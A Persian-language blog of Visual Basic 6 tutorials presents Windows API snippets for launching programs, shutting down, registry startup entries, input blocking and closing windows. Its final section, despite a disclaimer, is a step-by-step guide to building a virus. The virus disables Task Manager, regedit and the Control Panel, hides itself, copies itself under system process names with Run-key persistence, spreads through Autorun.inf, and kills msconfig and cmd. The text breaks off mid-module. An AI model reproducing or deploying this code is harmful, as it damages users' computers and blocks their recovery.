اجرای برنامه ها از درون برنامه شما

برای اینکار یک دستور به نام Shell وجود داره که خیلی کارها میتونید باهاش بکنید مثلاً اجرای هر برنامه ای از درون برنامه شما. شکل کلّی این دستور به صورت زیره :

Shell PathName, [WindowStyle]

که در این دستور PathName مسیر فایلیه که باید اجرا بشه و WindowStyle هم موقعیّت یا طریقه باز شدن برنامه ست که میتونه یکی از گزینه های vbHide ، vbMaximizedFocus ، vbMinimizedFocus ، vbMinimizedNoFocus ، vbNormalFocus و یا vbNormalNoFocus باشه. به دستور زیر توجّه کنید :

Shell "C:Program FilesWinRARWinRAR.exe", vbNormalFocus

این دستور برنامه WinRAR.exe رو از مسیر C:Program FilesWinRAR اجرا میکنه. کار با این دستور خیلی آسونه امّا چیز جالبی در مورد این دستور وجود داره و اونم اجرای تمام برنامه های جانبی ویندوز بدون دادن مسیر برنامه ست، یعنی شما فقط کافیه که نام فایل اجرایی برنامه رو جلوی دستور تایپ کنید تا برنامه اجرا بشه. برای مثال دستور زیر برنامه ماشین حساب ویندوز رو اجرا میکنه :

Shell "Calc", vbNormalFocus

برای آگاهیه شما از نام فایل اجراییه برنامه های ویندوز، نام تمام اونا رو در زیر آوردم:

نام فایل اجرایی	نام برنامه اجرایی
Calc Write Notepad Spider Winmine Mshearts freecell Regedit Taskmgr control fonts control desktop control mouse control keyboard osk magnify utilman mstsc cmd control admintools cleanmgr winchat clipbrd dcomcnfg control printers charmap eudcedit perfmon control netconnections dxdiag cliconfg sysedit ddeshare diskpart chkdsk verifier sigverif packager iexpress fsquirt drwtsn32	ماشین حساب ویندوز Wordpad ویندو Notepad ویندوز بازی Spider Solitare Card Game بازی مین روب Minesweeper Game بازی بی دل Hearts Card Game بازی Free Cell Card Game Registry Editor Task Manager  پوشه Fonts Display Properties Mouse Properties Keyboard Properties On Screen Keyboard درشت نمای ویندوز Windows Magnifier Utility Manager Remote Desktop خط فرمان Command Prompt Administrative Tools Disk Cleanup Utility Microsoft Chat Clipboard Viewer Component Services Printers and Faxes Character Map Private Character Editor Performance Monitor Network Connections Direct X Troubleshooter SQL Client Configuration System Configuration Editor DDE Shares Disk Partition Manager Check Disk Utility Driver Verifier Utility File Signature Verification Tool Object Packager Iexpress Wizard Bluetooth Transfer Wizard Dr.Watson for Windows
Shutdown –l –t 0 Shutdown –s –t 0 Shutdown –r –t 0	Logs You Out Of Windows Shuts Down Windows Restart Windows

به سه دستور آخر توجّه کنید؛ شما میتونید از این دستورات برای Log Off ، Restart و یا Shutdown کردن ویندوزتون استفاده کنید. فقط کافیه که دستور دلخواه رو جلوی دستور Shell تایپ کنید. دستور زیر باعث میشه که ویندوز Shutdown بشه :

Shell "Shutdown –s –t 0"

و امّا اون عدد صفر که آخر دستور نوشته شده مدّت زمانیه که تعیین میکنه چند ثانیه بعد از اجرای دستور ویندوز Shutdown بشه که ما در اینجا اونو صفر قرار دادیم تا بلافاصله اینکار انجام بشه.

نکته : تقریباً همه دستوراتی که در قسمت Run ویندوز قابل اجرا هستند در دستور Shell هم عمل میکنند به جز تعداد معدودی که به بررسی اونا نمیپردازیم.

حالا یک پروژه جدید باز کنید و تو فرمتون یک TextBox و یک Command Button بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Sub Command1_Click()
    On Error Resume Next
    Call Shell(Text1.Text, vbNormalFocus)
End Sub

حالا برنامه رو اجرا کنید و یکی از نامهایی رو که تو جدول بالا ذکر شده رو تو TextBox وارد کنید و کلید Command1 رو بزنید تا برنامه مربوطه اجرا بشه، به همین سادگی. موفق باشید.

توابع API

ساخت Link برای سایت یا وبلاگ (درخواستی)

یک پروژه جدید باز کنید و توش یک Label بزارید و کدهای زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Form_Load()
    Label1.Caption = "www.v-basic.mihanblog.com"
End Sub

Private Sub Label1_Click()
    Link Label1.Caption
End Sub

Public Function Link(ByVal URL As String) As Long
    Link = ShellExecute(0&, vbNullString, URL, vbNullString, vbNullString, vbNormalFocus)
End Function

اینو طبق درخواست یکی از دوستان که در قسمت نظرات درخواست کرده بود گذاشتم، موفق باشید.

---

امکان شماره گیری تلفن با برنامه شما

اینکار خیلی آسونه. یک پروژه جدید باز کنید و تو فرمتون یک Command Button و یک TextBox بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function tapiRequestMakeCall Lib "TAPI32.DLL" (ByVal Dest As String, ByVal AppName As String, ByVal CalledParty As String, ByVal Comment As String) As Long

Private Sub Command1_Click()
    tapiRequestMakeCall Text1.Text, "", "", ""
End Sub

حالا برنامه رو اجرا کنید و تو TextBox شماره تلفن رو وارد کنید و کلید Command1 رو بزنید، میبینید که شماره گیری توسط خود ویندوز انجام میشه و احتیاجی نیست که شما کاری انجام بدید. موفق باشید.

---

پخش فایلهای MP3 از درون برنامه شما (کد اصلی)

اصل کدش رو از یه جایی کش رفتم و برای شما عزیزان گذاشتم تا نظرای خوب خوب بدید.

یک پروژه جدید باز کنید و تو فرمتون یک TextBox و دو تا Command Button بزارید بعد از Command Button اول یک کپی بگیرید و Paste کنید تا آرایه ساخته بشه و بعد کد زیر رو تو قسمت جنرال فرمتون کپی کنید و برنامه رو اجرا کنید :

Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long

Dim isPlaying As Boolean
Dim Mp3File As String

Private Sub Command1_Click(Index As Integer)
    Mp3File = Chr$(34) + Trim(Text1.Text) + Chr$(34)
    Select Case Index
        Case 0
            mciSendString "open " + Mp3File, 0&, 0&, 0&
            mciSendString "play " + Mp3File, "", 0&, 0&
            isPlaying = True
        Case 1
            mciSendString "close " + Mp3File, 0&, 0&, 0&
            isPlaying = False
    End Select
End Sub

Private Sub Command2_Click()
    Unload Me
End Sub

Private Sub Form_Load()
    Command1(0).Caption = "Start"
    Command1(1).Caption = "Stop"
    Command2.Caption = "Exit"
End Sub

Private Sub Form_Unload(Cancel As Integer)
    If isPlaying = True Then
        mciSendString "close " + Mp3File, 0&, 0&, 0&
    End If
End Sub

حالا تو TextBox آدرس یک فایل MP3 رو وارد کنید و دکمه Start رو بزنید، موسیقی پخش میشه، به همین سادگی. لازم به ذکره که این کد بارها و بارها تست شده و هیچ گونه مشکلی نداره اگر کسی به مشکلی برخورد در قسمت نظرات مطرح کنه. موفق باشید.

---

قرار دادن برنامه در Startup

برای اینکار دو روش وجود داره؛ روش اول اینه که برنامه رو در پوشه Startup کپی کنیم که روش جالبی نیستچون کاربر میتونه به اون پوشه به و فایل رو پاک کنه و امّا روش دوّم (قابل توجّه ویروس نویسا) اینه که برنامه رو تو لیست برنامه های Startup در رجیستری ذخیره کنیم که روش مطمئن و بهتریه چون کاربر نمیدونه برنامه کجا قرار داره و از کجا اجرا میشه مگر اینکه از طریق رجیستری و یا برنامه System Configuration Utility (تایپ msconfig در Run ویندوز) متوجه مسیر برنامه بشه که خب خوشبختانه همه اینکارو بلد نیستن.

به ترتیب روش اول و بعد روش دوّم رو آموزش میدم. برای اجرای برنامه در Startup از طریق روش اول باید درایوی رو که ویندوز اونجا نصب شده و بدونید که من این کارو با توابع API انجام دادم. یک پروژه جدید باز کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Dim strSource As String, strDest As String

Private Sub Form_Load()
    If App.PrevInstance = True Then End
    strSource = App.path & IIf(Len(App.path) > 0, "", Empty)
    strSource = strSource & App.EXEName & ".exe"
    strDest = WinDrive & "Documents and SettingsAll UsersStart MenuProgramsStartup"
    FileCopy strSource, strDest & App.EXEName & ".exe"
End Sub

Private Function WinDrive() As String
    Dim strDrive As String
    strDrive = Space(500)
    A = GetWindowsDirectory(strDrive, Len(strDrive))
    strDrive = Left(strDrive, 3)
    WinDrive = strDrive
End Function

اگه برنامه رو اجرا کنید فایل اجرایی برنامه تو پوشه Startup کپی میشه و با هر بار بالا اومدن ویندوز برنامه شما هم اجرا میشه. ولی روش دوّم، برای اینکار باید توابعی رو تعریف کنیم که با رجیستری سر و کار دارن و من این کارو برای راحتی شما انجام دادم. یک پروژه جدید باز کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1

Dim strAppPath As String
Private Sub Command1_Click()
    AddToRun App.Title, strAppPath
End Sub

Private Sub Command2_Click()
    RemoveFromRun App.Title
End Sub

Private Sub Form_Load()
    Command1.Caption = "Add to Run"
    Command2.Caption = "Remove from Run"
    strAppPath = IIf(Len(App.path) > 3, App.path & "", App.path)
    strAppPath = strAppPath & App.EXEName & ".exe"
End Sub

'---------------------------------------------

Private Sub AddToRun(ProgramName As String, FileToRun As String)
    Call SaveString("SoftwareMicrosoftWindowsCurrentVersionRun", ProgramName, FileToRun)
End Sub

Private Sub RemoveFromRun(ProgramName As String)
    Call DeleteValue("SoftwareMicrosoftWindowsCurrentVersionRun", ProgramName)
End Sub

Private Sub SaveString(strPath As String, strValue As String, strdata As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegCreateKey(HKEY_LOCAL_MACHINE, strPath, keyhand)
    r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))
    r = RegCloseKey(keyhand)
End Sub

Private Function DeleteValue(ByVal strPath As String, ByVal strValue As String)
    Dim keyhand As Long
    Dim r As Long
    r = RegOpenKey(HKEY_LOCAL_MACHINE, strPath, keyhand)
    r = RegDeleteValue(keyhand, strValue)
    r = RegCloseKey(keyhand)
End Function

اگه برنامه اجرا بشه، مسیر فایل اجرایی برنامه در رجیستری ذخیره شده و در هر بار اجرای برنامه همراه برنامه های دیگه اجرا میشه. به همین سادگی. موفق باشید.

---

تعویض کلیک چپ و راست موس

یک پروژه جدید باز کنید و تو فرمتون یک Command Button و دو تا Option Button بزارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function SwapMouseButton Lib "User32" (ByVal bSwap As Long) As Long

Private Sub Command1_Click()
    Call SwapMouseButton(Option1.Value)
End Sub

Private Sub Form_Load()
    Option1.Caption = "Right"
    Option2.Caption = "Left"
End Sub

حالا برنامه رو اجرا کنید و با کلیک روی Option Button ها و بعد کلیک روی Command1 جای کلیک چپ و راست موس رو عوض کنید. به همین سادگی. موفق باشید.

---

بستن برنامه ها یا همون End Task کردن برنامه ها

براین بستن برنامه ها باید بدونید که عنوان (Title) برنامه چیه. مثلاً عنوان برنامه ماشین حساب Calculator هستش و عنوان برنامه Task Manager هست .Windows Task Manager در واقع این قطعه کد هر برنامه ای رو از روی عنوان اون میبنده.

یک پروژه جدید باز کنید و تو فرمتون یک Command Button و یک TextBox بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long

Private Sub CloseProgram(ByVal Caption As String)
    On Error Resume Next
    Handle = FindWindow(vbNullString, Caption)
    If Handle = 0 Then Exit Sub
    SendMessage Handle, &H10, 0&, 0&
End Sub

Private Sub Command1_Click()
    Call CloseProgram(Text1.Text)
End Sub

حالا برنامه رو اجرا کنید، بعد برنامه Task Manager رو اجرا کنید (Alt + Ctrl + Del) و تو TextBox تایپ کنید Windows Task Manager و کلید Command1 رو بزنید، میبینید که برنامه Task Manager بسته شد، به همین سادگی. موفق باشید.

---

نامرئی کردن قسمتهای اضافی فرم (برای گذاشتن اسکین خوبه)

این کد خیلی کاربردیه، حتماً به دردتون مبخوره. این کد باعث میشه که گوشه ها و قسمتهای اضافی فرم حذف بشه و فقط جاهایی که شما میخواید، قابل رویت باشه. مانند اسکین های Windows Media Player که بسیار زیباست.

یک پروژه جدید باز کنید و داخل فرمتون یک شئ Shape بذارید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function GetWindowLong Lib "User32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "User32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long

Const LWA_COLORKEY = &H1
Const GWL_EXSTYLE = (-20)
Const WS_EX_LAYERED = &H80000
Const BM_SETSTATE = &HF3

Private Sub Form_Load()
    Dim Ret As Long
    Dim CLR As Long
    Me.BackColor = RGB(1, 1, 1)  ' ÊÚ??ä Ñä Ó Òã?äå ÝÑã
    CLR = Me.BackColor
    Ret = GetWindowLong(Me.hWnd, GWL_EXSTYLE)
    Ret = Ret Or WS_EX_LAYERED
    SetWindowLong Me.hWnd, GWL_EXSTYLE, Ret
    SetLayeredWindowAttributes Me.hWnd, CLR, 0, LWA_COLORKEY
End Sub

طرز کار : قسمتهای مشکی رنگ فرم رو حذف میکنه به همین سادگی حالا اگه بر حسب اتفاق شما مجبورید که از رنگ مشکی به عنوان پس زمینه فرمتون استفاده کنید باید در اون قسمتی که رنگ پس زمینه فرم تعیین میشه (به کد نگاه کنید) رنگ سفبد رو تعیین کنید یعنی Me.BackColor = RGB (255, 255, 255) به همین سادگی. در واقع این کد رنگی رو که شما تعیین میکنید رو از هر جای فرم حذف میکنه حتی اگه اون رنگ در وسط فرم باشه که در این صورت وسط فرم خالی میشه و هر چیزی که در پشت فرم قرار داره رو میشه از اون سوراخ دید. موفق باشید.

---

شفاف کردن فرم به صورت شیشه ای و مات

یک پروژه جدید باز کنید و تو قسمت جنرال فرمتون کدهای زیر رو کپی کنید :

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long

Private Sub Command1_Click()
    Dim Retval As Long
    Retval = GetWindowLong(hWnd, -20)
    Retval = Retval Or 524288
    SetWindowLong hWnd, -20, Retval
    SetLayeredWindowAttributes hWnd, 0, Val(Text1.Text), 2
End Sub

Private Sub Form_Load()
    Text1.Text = 100
    Command1_Click
End Sub

تو TextBox یک عدد از 0 تا 255 وارد کنید و کلید Command1 رو بزنید و شاهد شفاف شدن فرم باشید. فقط توجه داشته باشید که اگه از اعداد پایین مثل 1 استفاده کنید فرمتون تقریباً نامرئی میشه پس بهتون پیشنهاد میکنم تا حد امکان از اعداد بالای 50 استقاده کنید. موفق باشید.

---

قفل کردن تمام ورودی ها مثل Keyboard و Mouse

این کار با تابع BlockInput انجام میشه و تمام ورودیهای کامپیوتر رو قفل میکنه. توجه داشته باشید که سیستم عامل هنگ نمیکنه و به کار خودش ادامه میده امّا شما نمیتونید هیچ کاری انجام بدید به جز Restart کردن.

یک پروژه جدید باز کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()
    BlockInput True
    Sleep 5000
    BlockInput False
End Sub

به محض شروع برنامه، تمام وروردیها به مدّت 5 ثانیه قفل میشن و بعد از اون دوباره به حالت اول برمیگردن. در اینجا تابع Sleep فقط برای اتلاف وقت به کار رفته و استفاده دیگه ای نداره. موفق باشید.

---

قرار دادن فرم بر روی تمام پنجره ها (خاصیّت OnTop برای فرم)

با این کد فرم شما بر روی همه پنجره های قرار میگیره، مانند Windows Task Manager که همیشه رو قرار میگیره.

یک پروزه جدید باز کنید و کد زیر رو تو قسمت جنرال فرمتون کپی کنید :

Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Const SWP_NOSIZE = &H1
Const SWP_NOMOVE = &H2
Const SWP_NOACTIVATE = &H10
Const SWP_SHOWWINDOW = &H40
Private Declare Sub SetWindowPos Lib "User32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)

Private Sub SetTopMost(frm As Form, ByVal blnMod As Boolean)
    If blnMod Then
        SetWindowPos frm.hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
    Else
        SetWindowPos frm.hWnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOACTIVATE Or SWP_SHOWWINDOW Or SWP_NOMOVE Or SWP_NOSIZE
    End If
End Sub

Private Sub Check1_Click()
    Call SetTopMost(Me, Check1.Value)
End Sub

با علامت دار کردن CheckBox فرم همیشه رو قرار میگیره و با برداشتن علامت فرم به حالت عادی برمیگرده. موفق باشید.

---

درگ کردن فرم (بهترین و مطمئن ترین روش)

اینکار که با توابع API به روش ویندوز انجام میشه، بهترین، مطمئن ترین، ساده ترین و سریع ترین روش برای درگ (Drag) کردنه فرمه. در ضمن در این روش بوسیله یک کنترل هم میشه فرم رو درگ کرد.

یک پروژه جدید باز کنید و توش یک Command Button و یک Label بذارید و کد زیر رو قسمت جنرال فرمتون کپی کنید :

Private Declare Function ReleaseCapture Lib "user32.dll" () As Long
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Dim lngReturnValue As Long
   
    If Button = 1 Then
        Call ReleaseCapture
        lngReturnValue = SendMessage(Me.hWnd, &HA1, 2, 0&)
    End If
End Sub

حالا یک بار بوسیله Label و یک بار هم بوسیله Command Button سعی کنید فرمتون رو درگ کنید. اگه بخواید بوسیله Label هم درگ بشه میتونید از کد داخل رویداد Command1_MouseMove برای رویداد Label1_MouseMove استفاده کنید به همین سادگی. موفق باشید.

آموزش ساخت یک ویروس قوی و آزار دهنده

اخطار : این وبلاگ هیچگونه مسئولیتی در قبال استفاده های ناهنجار و مخرب از آموزشهای این بخش را نخواهد پذیرفت و مسئولیت استفاده از مطالب این بخش از وبلاگ فقط با شماست. مطالب این بخش از وبلاگ مختص کسانی است که قصد یادگیری و درک طرز کار ویروس ها را دارند خواهد بود. توصیه میشود مطالب این بخش را فقط برای یادگیری هر چه بهتر ویژوال بیسیک مطالعه نمایید و از سو استفاده های غیر اخلاقی و آزار و اذیت، جدّاً خودداری نمایید. توجه : استفاده از مطالب این بخش فقط با ذکر منبع مجاز میباشد. خب الوعده وفا. اینم آموزش ساخت ویروسی که قولشو داده بودم، یک ویروس خطرناک. درباره ویروس : خرابکاری های این ویروس عبارت اند از : 1- اعمال محدودیت های زیر از طریق رجیستری : · غیر فعال کردن رجیستری (DisableRegEdit) · غیر فعال کردن Task Manager (DisableTaskManager) · غیر فعال کردن تنظیمات صفحه نمایش (DisableDisplayProperties) · غیر فعال کردن Shutdown (DisableShutdown) · غیر فعال کردن جستجو (DisableSearch) · غیر فعال کردن System Properties (DisableMyComputerProperties) · غیر فعال کردن Run (DisableRun) · ناپدید کردن All Programs از منوی Start (DisableAllPrograms) · مخفی کردن درایو C: (HideDrive_C) · غیر فعال کردن کنترل پنل (DisableControlPanel) · غیر فعال کردن Folder Options (DisableFolderOption) · محدود کردن نمایش فایلهای مخفی (DontShowHiddenFiles) · محدود کردن نمایش فایلهای ابر مخفی (DontShowSuperHiddenFiles) · غیر فعال کردن Add/Remove (DisableAddRemove) · تغییر نام و کمپانی کامپیوتر (ChangeNameAndCompanyName) 2- تغییر دادن کلیک چپ و راست ماوس هر چند لحظه یک بار از طریق توابع API 3- اجرای شدن خودکار ویروس موقع Open کردن درایوها با استفاده از فایل Autorun.inf ویروس جالبی به نظر میرسه چون کاربر رو خیلی محدود میکنه و باعث میشه که کاربر راهی جز تعویض ویندوز نداشته باشه. بعضی از محدودیت های ذکر شده در بند 1 بلافاصله پس از اجرای ویروس اعمال میشن، مثلاً عیر فعال کردن Task Manager و Registry و Folder Options و چند تای دیگه. برای اعمال شدن تغییرات و محدودیت های دیگه، ویندوز باید یکبار Logoff یا راه اندازی دوباره بشه. این ویروس در ابتدای اجرا از کد App.TaskVisible = False استفاده میکنه که باعث میشه برنامه تو Task Manager دیده نشه و این خیلی به نفع شما و به ضرر کاربره. این ویروس بلافاصله پس از اجرا، یک نسخه از خودشو با نامهای svchost.exe و spoolsv.exe در پوشه System32Drivers کپی میکنه و یک نسخه با نام smss.exe رو هم در مسیر All UsersApplication Data کپی میکنه و بعد همشون رو تو Startup قرار میده و بعد اجراشون میکنه که با اینکار آنتی ویروسها میتونن اونو شناسایی کنن. مزیت اینکارا اینه که کاربر نتونه ویروسی رو که با نام smss.exe اجرا شده از حافظه خارج کنه (End Task). در ضمن پوشه های داخل درایو ویندوز رو ابر مخفی (Super Hidden) میکنه. توجه : برای درک و فهم بهتره مطالب این بخش، باید با رجیستری و طرز کار اون آشنا باشید که در ادامه بیشتر توضیح میدم. این ویروس از دو بخش تشکیل شده : اول بخش خرابکاری و دستکاری رجیستری. دوم بخش بلاک اصلی برنامه که میتونید هر چیزی که دلتون میخواد اونجا اضافه کنید. برای اینکه کارای ویروس مدام انجام بشن و محدود به لود فرم نباشن باید اونا رو تو یک یا چند تا تایمر قرار بدید. من از سه تایمر استفاده کردم تایمر اول برای عوض کردن کلید چپ و راست ماوس است، تایم دوم بر ای تعیین Interval تایمر اوله تا حالت یکنواختی پیدا نکنه و هر چند لحظه یکبار (بین 1 تا 5 ثانیه) کلید چپ و راست ماوس عوض بشه و تایمر سوم هم سه کار انجام میده : 1- ساختن فایل Autorun.inf تو تمام درایوها 2- بستن System Configuration Utility که احتمال میره کاربر اونو باز کنه 3- بستن Command Prompt که احتمال میره کاربر اونو باز کنه. خب توضیحات درباره ویروس کافیه بهتره بریم سر وقته آموزش. آموزش ساخت : اول یک پروژه جدید باز کنید و بهش دو تا Module اضافه کنید و به فرمتون هم سه تا تایمر و اضافه کنید و مشخصات زیر رو تغییر بدید : [Form Properties] Name = frmVirus BorderStyle = 0 - None Caption = خالی بذارید ShowInTaskbar = False Height = 0 Width = 0 Left = -5000 Top = -5000 Visible = False [Timers Properties] Timer1.Interval = 0 Timrr2.Interval = 5000 Timer3.Interval = 500 حالا کدهای زیر رو تو قسمت جنرال فرمتون کپی کنید : Dim bln As Boolean Private Sub Form_Load() App.TaskVisible = False If App.PrevInstance = True Then End Dim Ret As Long Dim CLR As Long Me.BackColor = RGB(1, 1, 1) CLR = Me.BackColor Ret = GetWindowLong(Me.hWnd, GWL_EXSTYLE) Ret = Ret Or WS_EX_LAYERED SetWindowLong Me.hWnd, GWL_EXSTYLE, Ret SetLayeredWindowAttributes Me.hWnd, CLR, 0, LWA_COLORKEY Dim sSave As String On Error Resume Next strSource = App.Path & IIf(Len(App.Path) > 0, "", Empty) strSource = strSource & App.EXEName & ".exe" SetAttr WinDrive & "Windows", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly SetAttr WinDrive & "Program Files", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly SetAttr WinDrive & "Documents and Settings", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly SetAttr WinDrive & "WindowsSystem", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly SetAttr WinDrive & "WindowsSystem32", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly If (App.EXEName <> "svchost" And App.EXEName <> "spoolsv" And App.EXEName <> "smss") Then strDest = WinDrive & "WINDOWSsystem32drivers" FileCopy strSource, strDest & "svchost.exe" AddToRun "svchost", strDest & "svchost.exe" SetAttr strDest & "svchost.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly Shell strDest & "svchost.exe", vbNormalNoFocus FileCopy strSource, strDest & "spoolsv.exe" AddToRun "spoolsv", strDest & "spoolsv.exe" SetAttr strDest & "spoolsv.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly Shell strDest & "spoolsv.exe", vbNormalNoFocus strDest = WinDrive & "Documents and SettingsAll UsersApplication Data" FileCopy strSource, strDest & "smss.exe" AddToRun "smss", strDest & "smss.exe" SetAttr strDest & "smss.exe", vbNormal + vbSystem + vbHidden + vbArchive + vbReadOnly Shell strDest & "smss.exe", vbNormalNoFocus End If Call Sabotage ' Timer2.Enabled = True Timer3.Enabled = True End Sub Private Sub Timer1_Timer() If bln = True Then bln = False Timer1.Enabled = False Call SwapMouseButton(1) Else bln = True Call SwapMouseButton(0) End If If blnBlockinput = True Then Call BlockInput(0) End Sub Private Sub Timer2_Timer() If Timer1.Enabled = False Then Timer1.Interval = CLng(Rnd * 5000) Timer1.Enabled = True End If End Sub Private Sub Timer3_Timer() Call MakeAutoRun Call CloseProgram("System Configuration Utility") Call CloseProgram("Command Prompt") End Sub خب حالا کد زیر رو تو Module1 کپی کنید : Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal HKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal HKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal HKey As Long, ByVal lpValueName As String) As Long Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal HKey As Long) As Long Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal HKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Const HKEY_CLASSES_ROOT = &H80000000 Public Const HKEY_CURRENT_CONFIG = &H80000005 Public Const HKEY_USERS = &H80000003 Public Const HKEY_CURRENT_USER = &H80000001 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Const REG_SZ = 1 Public Const REG_DWORD = 4 Public Const REG_NONE = 0 Public Const REG_MULTI_SZ = 7 Public Const REG_EXPAND_SZ = 2 Public Const REG_BINARY = 3 Public Declare Function SetWindowLong Lib "User32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Public Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Declare Function SetWindowText Lib "User32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String) As Long Public Declare Function EnumWindows Lib "User32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long Public Declare Function IsWindowVisible Lib "User32" (ByVal hWnd As Long) As Long Public Declare Function GetParent Lib "User32" (ByVal hWnd As Long) As Long Public Declare Function GetWindowLong Lib "User32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long Public Declare Function GetWindowText Lib "User32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Declare Function SendMessage Lib "User32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Public Const GWL_HWNDPARENT = (-8) Public Const LB_ADDSTRING = &H180 Public Const LB_SETITEMDATA = &H19A Public Declare Function GetActiveWindow Lib "User32" () As Long Public Declare Function GetWindowDC Lib "User32" (ByVal hWnd As Long) As Long Public Declare Function TextOut Lib "gdi32" Alias "TextOutA" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal lpString As String, ByVal nCount As Long) As Long Public Declare Function BlockInput Lib "User32" (ByVal fBlock As Long) As Long Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Public Const LWA_COLORKEY = &H1 Public Const GWL_EXSTYLE = (-20) Public Const WS_EX_LAYERED = &H80000 Public Const BM_SETSTATE = &HF3 Public Const HWND_TOPMOST = -1 Public Const HWND_NOTOPMOST = -2 Public Const SWP_NOMOVE = &H2 Public Const SWP_NOSIZE = &H1 Public Const SWP_NOACTIVATE = &H10 